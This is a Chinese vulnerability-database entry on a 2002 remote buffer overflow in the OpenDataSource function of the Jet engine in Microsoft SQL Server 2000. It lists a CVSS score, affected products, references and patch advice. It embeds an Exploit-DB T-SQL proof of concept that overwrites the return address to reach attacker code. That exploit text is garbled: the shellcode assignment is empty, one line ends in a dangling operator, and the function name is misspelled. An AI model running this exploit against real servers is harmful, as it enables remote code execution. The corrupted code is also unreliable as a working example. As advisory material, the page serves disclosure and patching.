发布时间 :2002-09-05 00:00:00
修订时间 :2016-10-17 22:22:42

[原文]Buffer overflow in the OpenDataSource function of the Jet engine on Microsoft SQL Server 2000 allows remote attackers to execute arbitrary code.

[CNNVD]Microsoft SQL MS Jet引擎OpenDataSource远程缓冲区溢出漏洞(CNNVD-200209-003)

        Microsoft SQL Server是一款由Microsoft公司开发的商业性质大型数据库系统。
        Microsoft SQL Server当和MS JET引擎组合使用时OpenDataSource函数存在漏洞,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。
        由于问题存在于MS JET引擎组件,所以其他依靠此引擎组件的产品也应该存在此漏洞。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:jet:4.0:sp1Microsoft Jet 4.0 sp1
cpe:/a:microsoft:jet:4.0:sp4Microsoft Jet 4.0 sp4
cpe:/a:microsoft:jet:4.0:sp3Microsoft Jet 4.0 sp3
cpe:/a:microsoft:jet:4.0Microsoft Jet 4.0
cpe:/a:microsoft:sql_server:2000Microsoft SQL Server 2000
cpe:/a:microsoft:jet:4.0:sp5Microsoft Jet 4.0 sp5
cpe:/a:microsoft:sql_server:2000:sp2Microsoft SQLServer 2000 Service Pack 2
cpe:/a:microsoft:jet:4.0:sp2Microsoft Jet 4.0 sp2
cpe:/a:microsoft:sql_server:2000:sp1Microsoft SQLServer 2000 Service Pack 1

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20020619 Microsoft SQL Server 2000 OpenDataSource Buffer Overflow (#NISR19062002);%5BLN%5D;Q282010
(UNKNOWN)  MSKB  Q282010
(UNKNOWN)  XF  mssql-jet-ods-bo(9375)
(UNKNOWN)  BID  5057

- 漏洞信息

Microsoft SQL MS Jet引擎OpenDataSource远程缓冲区溢出漏洞
高危 边界条件错误
2002-09-05 00:00:00 2006-09-01 00:00:00
        Microsoft SQL Server是一款由Microsoft公司开发的商业性质大型数据库系统。
        Microsoft SQL Server当和MS JET引擎组合使用时OpenDataSource函数存在漏洞,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。
        由于问题存在于MS JET引擎组件,所以其他依靠此引擎组件的产品也应该存在此漏洞。

- 公告与补丁

        * 使用防火墙,对Microsoft SQL Server进行访问控制,只允许可信用户访问。
        Microsoft Upgrade Q282010

        Microsoft Jet 4.0 Service Pack 6 (Windows 2000). 需要Microsoft Jet 4.0 Service Pack 5.

- 漏洞信息 (21569)

MS SQL Server 2000,MS Jet 4.0 Engine Unicode Buffer Overflow Vulnerability (EDBID:21569)
windows dos
2002-06-19 Verified
0 NGSSoftware
N/A [点击下载]

Microsoft SQL Server is prone to a remotely exploitable unicode-based buffer overflow condition. This condition occurs when the OpenDataSource function is used with MS Jet Engine.

This issue may be exploited to execute attacker-supplied instructions with the privileges of the SQL Server process. This issue requires that the attacker can pass malicious data to the OpenDataSource function and may be exploitable remotely via SQL injection vulnerabilities in web-based software.

Due to this being an issue in the MS Jet Engine component itself, other products which rely on Jet Engine may also be affected by this vulnerability.

We previously alerted on this issue in BID 4847 "Microsoft SQL Server 2000 Multiple Vulnerabilities". This issue was originally publicized as a VNA by NGSSoftware. 


-- Simple Proof of Concept
-- Exploits a buffer overrun in OpenDataSource()
-- Demonstrates how to exploit a UNICODE overflow using T-SQL
-- Calls CreateFile() creating a file called c:\SQL-ODSJET-BO
-- I'm overwriting the saved return address with 0x42B0C9DC
-- This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2
-- The address holds a jmp esp instruction.
-- To protect against this overflow download the latest Jet Service
-- pack from Microsoft -
-- David Litchfield (
-- 19th June 2002

declare @exploit nvarchar(4000)
declare @padding nvarchar(2000)
declare @saved_return_address nvarchar(20)
declare @code nvarchar(1000)
declare @pad nvarchar(16)
declare @cnt int
declare @more_pad nvarchar(100)

select @cnt = 0
select @padding = 0x41414141
select @pad = 0x4141

while @cnt < 1063
select @padding = @padding + @pad
select @cnt = @cnt + 1

-- overwrite the saved return address

select @saved_return_address = 0xDCC9B042
select @more_pad = 0x4343434344444444454545454646464647474747

-- code to call CreateFile(). The address is hardcoded to 0x77E86F87 - Win2K
-- change if running a different service pack

select @code =
select @exploit = N'SELECT * FROM
penDataSource( ''Microsoft.Jet.OLEDB.4.0'',''Data Source="c:\'
select @exploit = @exploit + @padding + @saved_return_address + @more_pad +
select @exploit = @exploit + N'";User ID=Admin;Password=;Extended
properties=Excel 5.0'')...xactions'
exec (@exploit)


- 漏洞信息

Microsoft SQL Server Jet Engine OpenDataSource Function Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2004-04-09 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete